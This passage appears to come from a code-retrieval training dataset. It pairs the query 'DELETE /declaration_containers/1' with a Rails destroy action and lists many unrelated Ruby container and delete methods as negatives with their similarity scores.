if args.key?(:trigger)\n @variable = args[:variable] if args.key?(:variable)\n end", "def id\n container.id\n end", "def set_container_acl(name, public_access_level, options={})\n query = { 'comp' => 'acl'}\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n uri =container_uri(name, query)\n\n headers = service_properties_headers\n headers['x-ms-blob-public-access'] = public_access_level if public_access_level && public_access_level.to_s.length > 0\n\n signed_identifiers = nil\n signed_identifiers = options[:signed_identifiers] if options[:signed_identifiers]\n\n body = nil\n body = Serialization.signed_identifiers_to_xml(signed_identifiers) if signed_identifiers\n\n response = call(:put, uri, body, headers)\n\n container = Serialization.container_from_headers(response.headers)\n container.name = name\n container.public_access_level = public_access_level\n\n return container, signed_identifiers || []\n\n end", "def update\n @template_container = TemplateContainer.find(params[:id])\n\n respond_to do |format|\n if @template_container.update_attributes(params[:template_container])\n flash[:notice] = 'TemplateContainer was successfully updated.'\n format.html { redirect_to(@template_container) }\n format.xml { head :ok }\n format.js { render :layout => false }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @template_container.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_container(name, options={})\n query = { }\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n\n uri = container_uri(name, query)\n\n headers = service_properties_headers\n\n add_metadata_to_headers(options[:metadata], headers) if options[:metadata]\n\n headers['x-ms-blob-public-access'] = options[:public_access_level].to_s if options[:public_access_level]\n\n response = call(:put, uri, nil, headers)\n\n container = Serialization.container_from_headers(response.headers)\n container.name = name\n container.metadata = options[:metadata]\n container\n end", "def handle_create(event)\n @bus.request 'containers', 'created', event: event.json, container: container_info(event.id)\n end", "def set_container_metadata(name, metadata, options={})\n query = { 'comp' => 'metadata'}\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n\n headers = service_properties_headers\n add_metadata_to_headers(metadata, headers) if metadata\n\n call(:put, container_uri(name, query), nil, headers)\n nil\n end", "def commit(options = {})\n options.merge!('container' => self.id[0..7])\n hash = JSON.parse(connection.request(:post, '/commit', options))\n Docker::Image.send(:new, :id => hash['Id'], :connection => self.connection)\n end", "def serverhascontainer_params\n params.require(:serverhascontainer).permit(:container_id, :server_id)\n end", "def index\n @declaration_containers = @declaration.declaration_containers.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @declaration_containers }\n end\n end", "def create_container(name, options={})\n # Query\n query = { }\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n\n # Scheme + path\n uri = container_uri(name, query)\n\n # Headers\n headers = StorageService.common_headers\n StorageService.add_metadata_to_headers(options[:metadata], headers) if options[:metadata]\n headers['x-ms-blob-public-access'] = options[:public_access_level].to_s if options[:public_access_level]\n\n # Call\n response = call(:put, uri, nil, headers, options)\n\n # result\n container = Serialization.container_from_headers(response.headers)\n container.name = name\n container.metadata = options[:metadata]\n container\n end", "def wrap_container( payload )\n\n raise Dossia::BadArgumentError, 'This method expects a Nokogiri NodeSet or Element' unless payload.class == Nokogiri::XML::NodeSet or payload.class == Nokogiri::XML::Element\n\n builder = Nokogiri::XML::Builder.new do |xml|\n \n xml.container(\n \"xmlns\" => \"http://www.dossia.org/v2.0/api\",\n \"xmlns:xsi\" => \"http://www.w3.org/2001/XMLSchema-instance\", \n \"xsi:schemaLocation\" => \"http://www.dossia.org/v2.0/api http://www.dossia.org/v2.0/api/container.xsd\"\n )\n\n end\n\n builder = Nokogiri::XML builder.to_xml\n\n if payload.class == Nokogiri::XML::NodeSet\n payload.each {|node| builder.xpath('//api:container', 'api' => 'http://www.dossia.org/v2.0/api').first.add_child node }\n else\n builder.xpath('//api:container', 'api' => 'http://www.dossia.org/v2.0/api').first.add_child payload\n end\n\n builder\n\n end", "def create\n @container_stack = ContainerStack.new(params[:container_stack])\n\n respond_to do |format|\n if @container_stack.save\n format.html { redirect_to @container_stack, notice: 'Container stack was successfully created.' }\n format.json { render json: @container_stack, status: :created, location: @container_stack }\n else\n format.html { render action: \"new\" }\n format.json { render json: @container_stack.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @level_container = LevelContainer.find(params[:id])\n\n respond_to do |format|\n if @level_container.update_attributes(params[:level_container])\n format.html { redirect_to @level_container, notice: 'Level container was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @level_container.errors, status: :unprocessable_entity }\n end\n end\n end", "def remove_container(name)\n render :update do |page|\n page.remove name\n end\n end", "def replace_container(name, content)\n render :update do |page|\n page.replace name, content\n end\n end", "def set_service_mapping(container)\n node.default['docker_deploy']['service_mapping'][new_resource.service_name]['id'] = container.id\n node.default['docker_deploy']['service_mapping'][new_resource.service_name]['name'] = container.name\n end", "def set_new\n @container = Container.find(params[:container_id])\n @container_row = ContainerRow.new\n end", "def update!(**args)\n @container_name = args[:container_name] if args.key?(:container_name)\n @content_language = args[:content_language] if args.key?(:content_language)\n @create_time = args[:create_time] if args.key?(:create_time)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @interactions = args[:interactions] if args.key?(:interactions)\n @keywords = args[:keywords] if args.key?(:keywords)\n @mime_type = args[:mime_type] if args.key?(:mime_type)\n @object_type = args[:object_type] if args.key?(:object_type)\n @search_quality_metadata = args[:search_quality_metadata] if args.key?(:search_quality_metadata)\n @source_repository_url = args[:source_repository_url] if args.key?(:source_repository_url)\n @title = args[:title] if args.key?(:title)\n @update_time = args[:update_time] if args.key?(:update_time)\n end", "def create_container\n\t\t\t\t@command.container_class.new\n\t\t\tend", "def update!(**args)\n @container_type = args[:container_type] if args.key?(:container_type)\n @display_name = args[:display_name] if args.key?(:display_name)\n @display_name_last_first = args[:display_name_last_first] if args.key?(:display_name_last_first)\n end", "def commit(options = {})\n options.merge!(container: self.id[0..7])\n hash = Docker::Util.parse_json(connection.post('/commit', options))\n Docker::Image.send(:new, id: hash[:id], connection: self.connection)\n end", "def destroy\n @container_stack = ContainerStack.find(params[:id])\n @container_stack.destroy\n\n respond_to do |format|\n format.html { redirect_to container_stacks_url }\n format.json { head :no_content }\n end\n end", "def create_container_with_http_info(container_body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ContainersApi.create_container ...'\n end\n # verify the required parameter 'container_body' is set\n if @api_client.config.client_side_validation && container_body.nil?\n fail ArgumentError, \"Missing the required parameter 'container_body' when calling ContainersApi.create_container\"\n end\n # resource path\n local_var_path = '/containers'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(container_body) \n\n # return_type\n return_type = opts[:return_type] || 'Container' \n\n # auth_names\n auth_names = opts[:auth_names] || ['BasicAuth', 'BearerAuth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ContainersApi#create_container\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def put_storage(request, params)\n xmldoc = XMLElement.build_xml(request.body, 'STORAGE')\n image_info = XMLElement.new(xmldoc) if xmldoc != nil\n\n image = ImageOCCI.new(\n Image.build_xml(params[:id]),\n @client)\n\n rc = nil\n if image_info['PERSISTENT'] && image_info['PUBLIC']\n error_msg = \"It is not allowed more than one change per request\"\n return OpenNebula::Error.new(error_msg), 400\n elsif image_info['PERSISTENT'] == 'YES'\n rc = image.persistent\n elsif image_info['PERSISTENT'] == 'NO'\n rc = image.nonpersistent\n elsif image_info['PUBLIC'] == 'YES'\n rc = image.publish\n elsif image_info['PUBLIC'] == 'NO'\n rc = image.unpublish\n end\n\n if OpenNebula.is_error?(rc)\n return rc, CloudServer::HTTP_ERROR_CODE[rc.errno]\n end\n\n # --- Prepare XML Response ---\n image.info\n return to_occi_xml(image, :code=>202)\n end", "def update!(**args)\n @container = args[:container] if args.key?(:container)\n @elementary_streams = args[:elementary_streams] if args.key?(:elementary_streams)\n @encryption_id = args[:encryption_id] if args.key?(:encryption_id)\n @file_name = args[:file_name] if args.key?(:file_name)\n @key = args[:key] if args.key?(:key)\n @segment_settings = args[:segment_settings] if args.key?(:segment_settings)\n end", "def index\n @containers = Container.all\n end", "def create(container)\n # If the caller has already set an id, trust it.\n container.assign_id!(new_uuid) unless container.id\n container.assign_org_id!(@org_id)\n container.update_timestamps!\n container.last_updated_by!(requester_authz_id)\n\n validate_before_create!(container)\n\n unless container.authz_id\n container.create_authz_object_as(requester_authz_id)\n end\n\n user_side_create(container)\n\n container.persisted!\n container\n end", "def update\n @receipt_container = ReceiptContainer.find(params[:id])\n\n respond_to do |format|\n if @receipt_container.update_attributes(params[:receipt_container])\n format.html { redirect_to @receipt_container, notice: 'Receipt container was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @receipt_container.errors, status: :unprocessable_entity }\n end\n end\n end", "def save_container(name, expire, **data)\n data.each do |k, v|\n @client.hset(name, k, v)\n @client.expire(name, expire)\n @logger.debug(\"Saving container: #{name} with fields #{data.keys} and expire set to #{expire}\")\n end\n @logger.debug('Container data has been saved to database')\n rescue StandardError => e\n @logger.error(\" Unable to save the to database: #{e} \")\n end", "def set_serverhascontainer\n @serverhascontainer = Serverhascontainer.find(params[:id])\n end", "def destroy\n response = get_request(URI.parse(\"http://\"+(sesh :donabe_ip)+\"/\"+(sesh :current_tenant)+\"/deployed_containers/\"+params[:id].to_s+\"/destroy_deployed.json\"), (sesh :current_token))\n json_respond response.body\n\n end", "def destroy\n @serverhascontainer.destroy\n respond_to do |format|\n format.html { redirect_to serverhascontainers_url, notice: 'Serverhascontainer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def update!(**args)\n @container_type = args[:container_type] if args.key?(:container_type)\n @intersect_type = args[:intersect_type] if args.key?(:intersect_type)\n @remodelings = args[:remodelings] if args.key?(:remodelings)\n @same_type = args[:same_type] if args.key?(:same_type)\n @union_type = args[:union_type] if args.key?(:union_type)\n end", "def update!(**args)\n @container_runtime = args[:container_runtime] if args.key?(:container_runtime)\n @max_pods_per_node = args[:max_pods_per_node] if args.key?(:max_pods_per_node)\n end", "def create\n @container_content = @container.container_contents.new(params[:container_content])\n\n respond_to do |format|\n if @container_content.save\n format.html { redirect_to(@container_content.container, :notice => 'Container content was successfully created.') }\n format.xml { render :xml => @container_content, :status => :created, :location => @container_content }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @container_content.errors, :status => :unprocessable_entity }\n end\n end\n end", "def destroy\n @level_container = LevelContainer.find(params[:id])\n @level_container.destroy\n\n respond_to do |format|\n format.html { redirect_to level_containers_url }\n format.json { head :no_content }\n end\n end", "def set_container\n @container = Container.find(params[:container_id])\n @container_clone = @container.dup\n @container_clone.container_fluid = @container.css_classes =~ /container-fluid/ ? 'yes' : 'no' \n end", "def containers_page_params\n params.require(:containers_page).permit(:container_id,:page_id)\n end", "def update\n upload_slides(params)\n build_kiosks(params)\n respond_to do |format|\n if @collection.update(collection_params)\n format.html { redirect_to @collection, notice: 'Collection was successfully updated.' }\n format.json { render :show, status: :ok, location: @collection }\n else\n format.html { render :edit }\n format.json { render json: @collection.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @container_item = ContainerItem.new(container_item_params)\n respond_to do |format|\n if @container_item.save\n format.html {redirect_back(fallback_location: (request.referer || root_path), notice: 'Container item was successfully created.')}\n format.json { render json: @container_item, status: :created, location: @container_item }\n else\n format.html {redirect_back(fallback_location: (request.referer || root_path), notice: 'Container item was NOT successfully created.')}\n format.json { render json: @container_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_container(container)\n # Avoid duplicated labels on compose\n while @containers.has_key?(container.attributes[:label]) do\n container.attributes[:label].succ!\n end\n\n @containers[container.attributes[:label]] = container\n true\n end", "def update\n respond_to do |format|\n if @namespace.update(namespace_params)\n format.html { redirect_to namespaces_url, notice: '命名空间更新成功' }\n else\n format.html { render :edit }\n end\n end\n end", "def destroy\n log_debug \"[ #{@node}/#{@environment} ] - Destroy Podman Container #{@container} ...\"\n @cmd_runner.run_cmd \"#{podman_cmd} container rm #{@container}\"\n end", "def update\n @shipping_container = ShippingContainer.find(params[:id])\n\n respond_to do |format|\n if @shipping_container.update_attributes(params[:shipping_container])\n flash[:notice] = 'ShippingContainer was successfully updated.'\n format.html { redirect_to(admin_shipping_containers_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @shipping_container.errors, :status => :unprocessable_entity }\n end\n end\n end" ]
[ "0.65274495", "0.6337214", "0.6333239", "0.6330675", "0.6323929", "0.62748456", "0.618666", "0.6121751", "0.6089702", "0.6089702", "0.605397", "0.60125315", "0.59736514", "0.58905536", "0.5886036", "0.5884495", "0.58286834", "0.58200467", "0.57791716", "0.57731813", "0.5713082", "0.57003593", "0.56906486", "0.56467354", "0.56396616", "0.5563812", "0.55325663", "0.5531226", "0.5468788", "0.546602", "0.54137236", "0.54019725", "0.5355607", "0.5323339", "0.5304676", "0.5296017", "0.52817935", "0.5274045", "0.5254012", "0.52496004", "0.52425086", "0.5236598", "0.5235605", "0.52305293", "0.5229178", "0.52248126", "0.5214962", "0.5213869", "0.52108794", "0.5205686", "0.5195879", "0.51915294", "0.5160223", "0.5160223", "0.51560956", "0.5141328", "0.51363754", "0.51348865", "0.5126265", "0.5112104", "0.5108682", "0.51020974", "0.50852066", "0.50851595", "0.508411", "0.50701046", "0.50656474", "0.50652015", "0.50647604", "0.50457364", "0.5018663", "0.50096774", "0.5001344", "0.49846244", "0.4984405", "0.4977323", "0.49740824", "0.49700892", "0.49688756", "0.49642277", "0.49584332", "0.49565965", "0.49517658", "0.49514553", "0.49388888", "0.49229854", "0.49143094", "0.48959833", "0.4894237", "0.48921913", "0.48715106", "0.48703805", "0.4845721", "0.48446944", "0.48220578", "0.48215556", "0.48145378", "0.48064715", "0.48057678", "0.48054415" ]
0.6658888
0
DELETE /declaration_containers/1 DELETE /declaration_containers/1.json
def destroy @declaration_container.destroy respond_to do |format| format.html { redirect_to declaration_containers_url(:declaration_id => @declaration_container.declaration_id) } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete # rubocop:disable Metrics/AbcSize\n attrcheck = { 'container name' => @options[:container] }\n @validate.attrvalidate(@options, attrcheck)\n containerview = ObjectStorage.new(@options[:id_domain], @options[:user_name], @options[:passwd])\n if @options[:recurse]\n contents = containerview.contents(@options[:container])\n container_contents = contents.body.split(/\\n/)\n container_contents.each do |content|\n containerview.delete_content(@options[:container], content)\n puts 'deleted ' + content\n end\n end\n containerview = containerview.delete(@options[:container])\n if containerview.code == '204'\n puts \"Container #{@options[:container]} deleted\"\n else\n @util.response_handler(containerview)\n end\n end", "def destroy\n @container = Container.find(params[:id])\n @container.destroy\n\n respond_to do |format|\n format.html { redirect_to containers_url, notice: 'Container was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @container = Container.find(params[:id])\n @container.destroy\n\n respond_to do |format|\n format.html { redirect_to(containers_url) }\n format.xml { head :ok }\n end\n end", "def delete(container_name, file_name)\n validate_path_elements(container_name, file_name)\n\n client.request(\n method: :delete,\n path: \"#{container_name}/#{file_name}\",\n expected: 204\n )\n end", "def destroy\n @level_container = LevelContainer.find(params[:id])\n @level_container.destroy\n\n respond_to do |format|\n format.html { redirect_to level_containers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n response = get_request(URI.parse(\"http://\"+(sesh :donabe_ip)+\"/\"+(sesh :current_tenant)+\"/deployed_containers/\"+params[:id].to_s+\"/destroy_deployed.json\"), (sesh :current_token))\n json_respond response.body\n\n end", "def destroy\n @serverhascontainer.destroy\n respond_to do |format|\n format.html { redirect_to serverhascontainers_url, notice: 'Serverhascontainer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @docker_instance.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @container_content = ContainerContent.find(params[:id])\n container = @container_content.container\n @container_content.destroy\n\n respond_to do |format|\n format.html { redirect_to(container) }\n format.xml { head :ok }\n end\n end", "def destroy\n @container_navigation = ContainerNavigation.find(params[:id])\n @container_navigation.destroy\n\n respond_to do |format|\n format.html { redirect_to container_navigations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @container_stack = ContainerStack.find(params[:id])\n @container_stack.destroy\n\n respond_to do |format|\n format.html { redirect_to container_stacks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @container = Container.get(params[:id])\n @container.destroy if(@container && !@container.root?)\n\n respond_to do |format|\n format.html { redirect_to(container_url(@container.parent.id)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @container_item.destroy\n respond_to do |format|\n format.html { destroy_redirect @container_item, notice: 'Container item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @receipt_container = ReceiptContainer.find(params[:id])\n @receipt_container.destroy\n\n respond_to do |format|\n format.html { redirect_to receipt_containers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n log_debug \"[ #{@node}/#{@environment} ] - Destroy Podman Container #{@container} ...\"\n @cmd_runner.run_cmd \"#{podman_cmd} container rm #{@container}\"\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @template_container = TemplateContainer.find(params[:id])\n @template_container.destroy\n respond_to do |format|\n format.html { redirect_to(template_containers_url) }\n format.xml { head :ok }\n format.js { render :layout => false }\n end\n end", "def destroy\n @container = @container_row.container\n @container_row.destroy\n respond_to do |format|\n flash[:success] = 'Row was successfully deleted.' \n format.html { redirect_to admin_container_url(@container) }\n format.json { head :no_content }\n end\n end", "def destroy\n begin\n #finds the current server that the container is on and sets it as Docker.ulr\n #@serverid = Serverhascontainer.where(container_id: @container.id)[0].server_id;\n #@currentServer = Server.where(id: @serverid)\n #Docker.url = 'tcp://' + @currentServer[0][\"ip\"] + \":\" + @currentServer[0][\"port\"]\n Docker.url = findServer()\n\n #removes the container from docker\n Docker::Container.get(Container.find(params[:id]).dockercontainer_id).remove;\n\n #removes the Server-container relation from the database\n @d = Serverhascontainer.where(container_id: @container.id) \n Serverhascontainer.destroy(@d[0].id);\n\n #removes the container from the database\n @container.destroy\n Docker.url = ''\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'deleted.' }\n format.json { head :no_content }\n end\n\n rescue Docker::Error::ConflictError => e\n respond_to do |format| \n format.html { redirect_to root_path, notice: \"Oops: You cannot remove a running container. Stop the container before attempting removal\" }\n end\n end\n end", "def destroy\n @cephalopod.destroy\n respond_to do |format|\n format.html { redirect_to cephalopods_url }\n format.json { head :no_content }\n end\n end", "def delete(key)\n log \"deleting #{key} from #{container_path}\"\n object_path = File.join(container_path, Raca::Util.url_encode(key))\n response = storage_client.delete(object_path)\n (200..299).cover?(response.code.to_i)\n end", "def destroy\n @storage = @client.storages.find(params[:id])\n @storage.destroy\n\n respond_to do |format|\n format.html { redirect_to client_url(@client) }\n format.json { head :no_content }\n end\n end", "def destroy\n # The correct implementation, with garbage collection:\n # if params.has_key?(:container_id)\n # container = ActiveFedora::Base.load_instance(params[:container_id]) \n # container.file_objects_remove(params[:id])\n # FileAsset.garbage_collect(params[:id])\n # else\n \n # The dirty implementation (leaves relationship in container object, deletes regardless of whether the file object has other containers)\n ActiveFedora::Base.load_instance(params[:id]).delete \n flash[:notice] = \"Deleted #{params[:id]} from #{params[:container_id]}.\"\n \n if !params[:container_id].nil?\n redirect_params = {:controller => \"catalog\", :action => \"edit\", :id => params[:container_id], :anchor => \"file_assets\"}\n end\n redirect_params ||= {:action => 'index', :q => nil , :f => nil}\n \n redirect_to redirect_params\n \n end", "def destroy\n id = params[:id]\n @datacenter = Datacenter.any_of({_id: id}, {name: id.gsub('-', '.')}).first\n @datacenter.destroy\n\n respond_to do |format|\n format.html { redirect_to datacenters_url }\n format.json { head :ok }\n end\n end", "def destroy\n @shipping_container = ShippingContainer.find(params[:id])\n @shipping_container.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_shipping_containers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @docker_cfg.destroy\n respond_to do |format|\n format.html { redirect_to docker_cfgs_url, notice: 'Docker cfg was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @trein_consul_comercial.destroy\n respond_to do |format|\n format.html { redirect_to trein_consul_comercials_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @page = @containers_page.page\n @containers_page.destroy\n @containers_pages = @page.containers_pages\n respond_to do |format|\n format.js\n format.html do \n flash[:success] = 'Container was successfully removed from page.' \n redirect_to containers_pages_url \n end\n format.json { head :no_content }\n end\n end", "def remove_container(name)\n render :update do |page|\n page.remove name\n end\n end", "def delete_container(name, options={})\n # Query\n query = { }\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n\n # Call\n call(:delete, container_uri(name, query), nil, {}, options)\n \n # result\n nil\n end", "def destroy\n dns_entry_response = RestClient.delete('https://api.cloudflare.com/client/v4/zones/:zone_identifier/dns_records/:identifier',:content_type => :json, :accept => :json, :'x-auth-key' => session[:key] :'x-auth-email' => session[:email])\n @dns_entry.destroy\n respond_to do |format|\n format.html { redirect_to dns_entries_url, notice: \"Dns entry was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @reflection.destroy\n head :no_content\n end", "def destroy\n @lifecycle = Lifecycle.find(params[:id])\n @lifecycle.destroy\n\n respond_to do |format|\n format.html { redirect_to lifecycles_url }\n format.json { head :no_content }\n end\n end", "def deleteFlatpack( flatpack_id)\n params = Hash.new\n params['flatpack_id'] = flatpack_id\n return doCurl(\"delete\",\"/flatpack\",params)\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def destroy\n @cds_structure = CdsStructure.find(params[:id])\n @cds_structure.destroy\n\n respond_to do |format|\n format.html { redirect_to cds_structures_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cage.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @data_center = DataCenter.find(params[:id])\n @data_center.destroy\n\n respond_to do |format|\n format.html { redirect_to data_centers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @hcao_namespace.destroy\n respond_to do |format|\n format.html { redirect_to hcao_namespaces_url, notice: 'Hcao namespace was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n #@incidentcategory.destroy\n render json: {}, status: 200\n end", "def destroy\n @datasource.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @dapi.destroy\n respond_to do |format|\n format.html { redirect_to dapis_url, notice: 'Dapi was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def delete_container(name, options={})\n query = { }\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n\n call(:delete, container_uri(name, query))\n nil\n end", "def destroy\n debug(\"#{self.class}::destroy\")\n\n #Retrieval of key\n if ((defined? $key) && !(($key.nil?) || ($key.empty?)))\n Puppet.debug('INFO: key already provided as a command parameter ' + $key)\n\n elsif (!($name.to_s.empty?) )\n\n #Retrieve key\n uriAttributeMap1 = {}\n uriAttributeMap1[:name] = $name\n resourceType = \"storage-service-levels\"\n $key = self.retrieveKeyOfObjectType('/api/1.0/slo/storage-service-levels', resourceType, uriAttributeMap1)\n\n end\n\n\n apiUri = '/api/1.0/slo/storage-service-levels/'+$key\n resourceType = \"storageservicelevel\"\n\n if(transport.http_delete_request(apiUri ,resourceType))\n if(resource[:name] != null)\n puts \"#{resourceType} : #{resource[:name]} successfully deleted\"\n\t\t\telse\n\t\t\t puts \" #{resourceType} successfully deleted\"\n\t\t\tend\n else\n if(resource[:name] != null)\n puts \" #{resourceType} : #{resource[:name]} deletion failed\"\n\t\t else\n\t\t\t puts \" #{resourceType} deletion failed\"\n\t\t end\n end\n\nend", "def destroy\n @dockyard = Dockyard.find(params[:id])\n @dockyard.destroy\n\n respond_to do |format|\n format.html { redirect_to dockyards_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @aucrecord.destroy\n respond_to do |format|\n format.html { redirect_to aucrecords_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @dis_datasource.destroy\n respond_to do |format|\n format.html { redirect_to dis_datasources_url, notice: 'Dis datasource was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @constraint.destroy\n respond_to do |format|\n format.html { redirect_to constraints_url }\n format.json { head :no_content }\n end\n end", "def destroy\n identifier = @analysis_configuration.identifier\n @analysis_configuration.destroy\n respond_to do |format|\n format.html { redirect_to analysis_configurations_url, notice: \"'#{identifier}' was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @definition.destroy\n respond_to do |format|\n format.html { redirect_to definitions_url, notice: 'Definition was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @injection.destroy\n respond_to do |format|\n format.html { redirect_to injections_url, notice: 'Injection was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @small_concert.destroy\n respond_to do |format|\n format.html { redirect_to '/admin/small_concerts' }\n format.json { head :no_content }\n end\n end", "def destroy\n @unity3d.destroy\n respond_to do |format|\n format.html { redirect_to unity3ds_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @acticle.destroy\n respond_to do |format|\n format.html { redirect_to acticles_url, notice: 'Acticle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @consumable.destroy\n respond_to do |format|\n format.html { redirect_to consumables_url, notice: 'Consumable was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @consumable.destroy\n respond_to do |format|\n format.html { redirect_to consumables_url, notice: \"Consumable was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n IndicatorCategory.delete_hack(params[:id])\n\n respond_to do |format|\n format.html { redirect_to indicator_categories_url }\n format.json { head :ok }\n end\n end", "def destroy\n @definition.destroy\n respond_to do |format|\n format.html { redirect_to definitions_url, notice: \"Definition was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n respond_to do |format|\n @data_dictionary.update_columns( :del_flg => 1)\n format.html { redirect_to data_dictionaries_path(:dictid => @data_dictionary.parent_code), notice: 'Data dictionary was successfully destroyed.' }\n format.json { head :no_content }\n end\n \n end", "def destroy\n @definition = Definition.find(params[:id])\n @definition.destroy\n\n respond_to do |format|\n format.html { redirect_to definitions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @definition = Definition.find(params[:id])\n @definition.destroy\n\n respond_to do |format|\n format.html { redirect_to definitions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @department_entry.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @azul.destroy\n respond_to do |format|\n format.html { redirect_to azuls_url, notice: 'Azul was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @adocao_animal = AdocaoAnimal.find(params[:id])\n @adocao_animal.destroy\n\n respond_to do |format|\n format.html { redirect_to adocao_animals_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @patient.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete(path)\n repository = path.split(/\\//)[2]\n objectid = path.split(/\\//)[3]\n if storage_fetch(repository, objectid) && storage_delete(repository, objectid)\n ['200', {}, []]\n else\n ['404', {}, [\"Repository #{repository} or ObjectID #{objectid} not found: #{path}\"]]\n end\n end", "def destroy\n @adminmatrixstorageform.destroy\n respond_to do |format|\n format.html { redirect_to adminmatrixstorageforms_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @reqcargo.destroy\n respond_to do |format|\n format.html { redirect_to reqcargos_url, notice: 'Reqcargo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end", "def destroy\n @cash_collection.destroy\n respond_to do |format|\n format.html { redirect_to cash_collections_url, notice: 'Cash collection was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @dock.destroy\n respond_to do |format|\n format.html do\n redirect_to docks_url,\n notice: 'Dock was successfully destroyed.'\n end\n format.json { head :no_content }\n end\n end", "def destroy\n @konfig = Konfig.find(params[:id])\n @konfig.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_konfigs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @database = Database.find(params[:id])\n path = @database.path\n delete = %x[rm -R #{path}]\n @database.destroy\n\n respond_to do |format|\n format.html { redirect_to databases_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @digital_object_identifier.destroy\n respond_to do |format|\n format.html { redirect_to digital_object_identifiers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @category_db.destroy\n respond_to do |format|\n format.html { redirect_to category_dbs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @operations_center = OperationsCenter.find(params[:id])\n @operations_center.destroy\n\n respond_to do 